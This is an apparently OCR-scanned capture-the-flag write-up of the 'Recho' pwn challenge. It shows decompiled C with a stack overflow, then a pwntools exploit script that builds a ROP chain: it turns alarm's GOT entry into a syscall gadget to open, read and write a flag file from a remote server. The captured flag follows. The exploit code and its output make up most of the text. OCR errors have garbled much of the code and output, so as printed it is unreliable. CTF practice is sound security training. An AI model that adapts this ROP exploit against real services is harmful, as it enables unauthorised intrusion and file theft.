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liint _ cdecl main(int argc, const char **argv, const char **envp)
2

3| char nptr; // [rsp+@h] [rbp-46h]

4/ char buf[4@]; // [rsp+leh] [rbp-3@h]
5| int ve; // [rspk38h] [rbp-8h]

6| int v7; // [rsp+3Ch] [rbp-4h]

7

8| Init();

9 write(l, "Welcome to Recho server!\n", @x19uLL);
9 while ( read(e@, &nptr, 16uLL) > @ )
1 {

2 v7 = atoi(&nptr);

3 if (v7 <= 15 )

4 v7 = 16;

5 v6 = read(@, buf, v7);

6 buf[ve] = o;

7 printf("%s", buf);

8}

9| return 0;

o}
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#coding:utf-8
from pwn import *
context.log level = 'debug'

#io = process('./Recho")
io = remote('111.198.29.45"', 53796)

elf = ELF('./Recho")

pop_rax=0x00000000004006fc
pop_rdi=0x00000000004008a3
pop_rdx=0x00000000004006fe
rsi_rl5_ret = 0x4008al
add_rdi_al=0x000000000040070d
flag_addr=0x601058

alarm_got = elf.got['alarm']
read_plt = elf.plt['read']
write plt = elf.plt['write']
alarm_plt = elf.plt['alarm']
free_addr=0x601090

#rdi, rsi, rdx, rl1e, r9, r8
#fd=open("flag")

#tread(fd, bss_addr, 100)
#write(1l, bss_addr, 100)

if __name__ =="_main__":

payload=""

payload+="a'*0x38
payload+=p64(pop_rax)+p64(0x5)
payload+=p64(pop_rdi)+p64(alarm_got)
payload+=p64(add_rdi_al)

payload+=p64(pop_rax)+p64(0x2)
payload+=p64(pop_rdi)+p64(flag_addr)
payload+=p64(pop_rdx)+p64(0)
payload+=p64(rsi_ri15 ret)+p64(0)*2
payload+=p64(alarm_plt)

payload+=p64(pop_rdi)+p64(0x3)
payload+=p64(rsi_ri5 ret)+p64(free_addr)+p64(0)
payload+=p64(pop_rdx)+p64(0x30)
payload+=p64(read_plt)

payload+=p64(pop_rdi)+p64(0x1)
payload+=p64(rsi_ri5 ret)+p64(free_addr)+p64(0)
payload+=p64(pop_rdx)+p64(0x30)
payload+=p64(write_plt)

io.sendline(str(0x200))
io.sendline(payload.ljust(0x200, '\x00'))
io.recv()

io.shutdown("send")

io.interactive()

io.close()



[ *#]-/Switching: to--interactive mode
i ]* Received 0x30 bytes:

@G?OOGOO 63 79 62 65 72 70 65°61° 63 65 7b 37 66 34 37 66 |Cybe rpea
7| f4 77

OO?@OOlO 3164 3862- 66 65 38.62 -,63:64 32.320:6531 36:36 |1d8b fe8b
2|el66

00000020 ' 63 61 62 66 32 39 64:35::66/30:33 7d |Cabf 29d5
}

00000030

cyberpeace{7f47f1d8bfe8bcd22e166cabf29d5f03}
\X00\x00\x00[*] Closed connection to111:198.29:45 porit 52096
[*] Got EOF whilerreading in interdctive
ls
| ] Sent 0x3 bytes:,
l.s\ng
[*] Got EOF while sending in interactive htips:/blog.csdn.netiaq_41071646
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